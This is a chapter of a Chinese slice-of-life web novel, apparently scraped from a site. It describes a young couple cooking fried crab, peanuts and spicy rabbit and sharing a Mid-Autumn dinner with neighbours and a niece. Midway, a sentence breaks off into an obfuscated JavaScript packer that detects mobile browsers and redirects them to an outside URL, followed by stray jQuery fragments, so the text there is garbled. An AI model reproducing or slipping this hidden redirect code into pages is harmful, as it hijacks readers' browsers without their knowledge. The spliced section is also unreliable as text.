菜籽油在锅里慢慢熬热，把筷子放进去，看见上面起了大大小小的油泡儿，就可以用笊篱把花生米给浸进去，用适当的力气轻轻摇晃，油香味就在小灶房里漫开，花生上的红皮儿就变脆翘起，就这么多下几次油，就可以拿着笊篱在油面上摇晃漏油。


    炸过的花生米上的红皮显得更加的红和油润，再撒上几颗盐巴粒，端着大盆多颠了颠，花生米上有几颗盐巴，有咸味就好。


    这次抓回来的螃蟹洗干净，对半砍开，在断开的那一面蘸上薄薄一层面粉，然后就把一个个对半的螃蟹给放进油里。


    肉在油里比花生还要香，尤其河鲜的那股子香味儿一下子就被油给激了出来，螃蟹壳一碰上油就立即变得红艳了起来。


    螃蟹先别动，等裹上的面粉变脆变硬才能轻轻翻动，不然那里面本就不多的肉都落了出来，在锅里变黑炸碎。


    苏初妍一边用长筷子将放下去有一会儿的螃蟹翻个面，一边等着孙莺给螃蟹裹上面粉，放入油锅之中。


    “好香！等会儿撒些辣椒面，再撒点胡椒，盐巴都不用，直接拿着吃都香。”


    其实应当是螃蟹壳被油一炸，变得干脆喷香，光是闻着这个味道，吃不吃都没有什么大不了了。


    “好了好了。”


    一只只红色的螃蟹出锅，苏初妍就马上撒上各种香粉，再将大盆放在桌子上摇动起来，将那些粉裹上每只的壳上。


    两人做事的时候，都安静得很，都紧着自己手头上的事，反倒是无暇顾及对方的话。


    将剩下的油倒进搪瓷盆中，在锅里留下一些油来，加多多的花椒和干辣椒，孙莺还专门回了趟家，把家里的花椒也拿来些，遂这锅里的花椒、干辣椒、青辣椒在锅中占了不少，把这兔子肉放下去就立马没了影儿，兔子肉嫩，也不肥，炒久了反倒是让这份嫩少了，变得又干又柴，不过刚刚底下剩的油也不多，把花椒、辣椒一干煸就吸了不少的油。


    “都是些辣菜，幸亏我们都是吃辣的人，等炒的那两盘素菜定是不要放辣椒，就多放些蒜末，不然也腻得慌。”


    “啪，啪。”木刀板上放了两瓣蒜，还没去皮，苏初妍用力一拍，里面的蒜肉就成了一滩饼状，皮也分开了。


    把肉在油里滑了下，多多翻炒下，大火炒出来的菜格外的香，等快熟了的时候就撒下一菜板的韭菜，先将肉裹着粉一道腌着，旺油大火一炒就出锅。


    锅里用水稍微将辣给涮走，就用铁铲子勾些油放进锅里，蒜煸香后马上就放下一大盆的菜叶子，一放下去就要翻动，手要快，菜叶子熟得快，大火翻了几下就盛了出来。


    那么大一盆的菜，放下去一烫就软了，没剩下多少了。


    “喊李大哥吃饭吧。”


    “他？应当是上街卖家里的菜去了，我是吃腻了，顿顿都是这些，我喊他拿上街去卖，踹了他两脚才不情不愿地挑着扁担去卖。”孙莺觉得自己家的跟赵渊简直比不上，人家还知道给自己媳妇儿熬药，自己家的就知道一天在家躺着，事也是一点也不帮着做，下雨天不上地的时候，就在家里瘫着，就差把饭喂到他嘴里了！


    “成了，我把这些端出去。”


    苏初妍擦了擦自己额前的汗水，将刘海都掀了上去，用着水瓢喝了半瓢的温米汤才缓过来。


    这时候赵月捧着一兜子的菌子回家，倒进淘过菜的水里。


    “今日菌子简直是不要钱，过节出门拾菌子的人少，没人捡，我就全都包揽了下来，不过真是多，一片一片地疯长。”


    赵月接过苏初妍喝过的水瓢，也舀了一大瓢往嘴里灌。


    “吃饭！”


    外头突然就下了细雨，众人只好在里头吃，只希望着晚上没雨，还能赏赏月。


    桌子上满满当当一大桌子的菜在冒烟，尤其是最近冷了不少。


    “赵渊，吃饭！”


    赵渊回应了声，用两片湿叶子抓着瓦罐的两耳端进里面，又在剩下的火堆里踩上两脚。


    “你去喊喊李大哥，我们去把饭给盛出来。”苏初妍伸手拍了下他肩上的黑渣，催促着人快走。


    “我家的真的是，吃饭都要别人去喊，我真是瞎了眼才嫁给他。”


    孙莺对此颇有怨言，两人是青梅竹马，从小就认识，后来两家就寻思着可以让两家结成亲家，这不就成了现在这般。


    从愣头愣脑的傻小子，变成了现在的油头。


    苏初妍拉着她的手让她坐下。


    “别气，成婚久了就是这般，估摸着赵渊也快要差不了多少了。”


    赵月不懂她们的话，只是看着桌子上的菜咽口水，尤其是眼睛一直盯着炸螃蟹，上次吃的滋味都忘记了，因为炸一次要多些螃蟹，也费油，家里没做过，上次应当还是邻里给她匀了些。


    不过若是弟弟喜欢吃的话，爹娘还是会做，下次就教小弟说自己要吃炸螃蟹。


    “不会，我看赵渊眼里都是你，他也是一个人，肯定是要宝贝着你。”


    “哎呦，什么宝贝？不过是过日子，跟谁过不是过？”


    孙莺瞧见家里那人慢悠悠地走进门，狠狠地剜了他一眼，之说：“哎呦，原来是大爷来了？快些坐下吃吧。”


    李大哥朝着苏初妍问了声好，算作是打过招呼，跟赵渊一同坐了下来。


    “对了，我都忘记还买了酒，赵渊你去把酒拿下来。”


    赵渊应声道好，转头让他们先吃上，不用等自己。


    “你也不瞧瞧人家，多学着些，对自家的娘子好些。”孙莺手里把玩着筷子，用筷子头指向着他，“手怎么了？收什么收？废了还是瘸了？躲什么躲？谁还没个手？”


    “没啥，就是回来路滑，手去撑，就破了层皮。”


    他将自己宽大的手掌对着孙莺，嘴里还在“斯哈”，像是被疼了般。


    “哦，大男人破了层皮就要死要活，是不是还要哭出来？”孙莺躲开他看自己的眼睛。


    “没什么，回去用酒洗一道就可以了。”


    孙莺轻哼了声，并不去理会他。


    “谁管你疼不疼？吃完饭自己滚回去洗！”


    苏初妍嘴角含笑，这李大哥老实巴交地看着孙莺，虽说孙莺嘴上不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743602|174088||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    饶人，不过这眉梢上的担忧不是假的。


    赵渊还用一只手捧来了几只小酒杯，然后将这些仔细摆在桌子上，给他们倒上酒。


    “嫂子要不要喝？”


    孙莺：“半杯，我尝些就好，只是不知道你卖的酒醉不醉人？”


    “我们也还没尝过，平时我们也都不喝，就是这中秋才喝些。”苏初妍接过赵渊倒好的酒，递给孙莺。


    赵渊给李大哥满上酒，也给自己满上，主人家不跟着客人一起喝可不行。


    “那我哩？”苏初妍眼巴巴地看着他，上次她偷喝了赵渊泡的酒，觉得好喝，虽说还没喝过这种酒，不过也还是很想喝。


    “你可不行，上次的果子酒不醉人，你都喝醉了，这酒你更是不能喝，而且你如今还不能吃酒，身子还在养着。”


    孙莺笑着将自己的酒杯在苏初妍的鼻尖上划过，让酒香味只好落在苏初妍的鼻子里。


    “你居然连那种酒都喝不下，真是给我丢人，那些酒不都是平日在田里累了，回家就当水喝点解渴吗？”


    苏初妍不语，只是一个劲地吃菜，排骨煲的汤多了不少的奶白色，里面的萝卜炖得软烂，不过正好能夹起来不碎，不过里面放的小小洋芋倒是一夹就碎成两半。因为排骨里只有萝卜和豆子，总觉着少了些，苏初妍就想着削两个小洋芋，整个放进去炖煮，洋芋怎么做都好吃，软绵绵的洋芋里融进去了肉香还有豆子的清香，最底下的豆子早就是炖得烂得不行，早就在汤里出了沙，里面有不少豆子皮沉底。


    “赵月，多吃些！这个里面是鱼，这次是酸菜鱼，肯定比上次要好吃不少，等后面有了空闲，我就去向嫂子要些酸水，自己做酸菜、酸萝卜。”


    苏初妍给她夹了排骨，还将离得远的炒肉片整盘端到赵月的面前，让她快些夹。


    赵月来了自家后也没吃过什么好的，都是家里有什么就跟着他们吃什么，有时候一天都是吃清水面，她还是个孩子，从来没有过什么不满，虽说是在别人家，她倒是有可能不敢这么做，不过她倒是从未摆过脸子，一丝一毫的不喜都未曾有过，上次她把赵渊喊回来，自己还将她给凶了一道。


    “够了，叔母你也快吃，你对我这般好，我都不想回家去了。”小姑娘揉了揉自己的眼睛，然后用筷子狠狠刨饭。


    “以后常来。”


    螃蟹没有多少的肉，苏初妍拎起一只慢慢地啃里面的细肉，用筷子将里面的钳子肉一点点掏出来，看着那壳上的香料粉，伸出舌尖轻轻一舔螃蟹壳，一丝咸香味和辣味。


    “你们家什么时候给田下种子？”


    赵渊拿起酒杯，两人顺势就碰了一个。


    一口酒下肚，赵渊夹了粒花生米，入口咸味刚好。


    “过两日，我今日把菜种都买好了，田里干太久了，等雨把土给多浇透了些，多挖几锄头松松土，就可以下种了。”


    苏初妍听了他的话，默默在心底记了下来，赵渊不会这些，她自己虽说知晓，不过也怕哪里出了纰漏，要多向他们学些。


    那他们家也要把种子买来备着。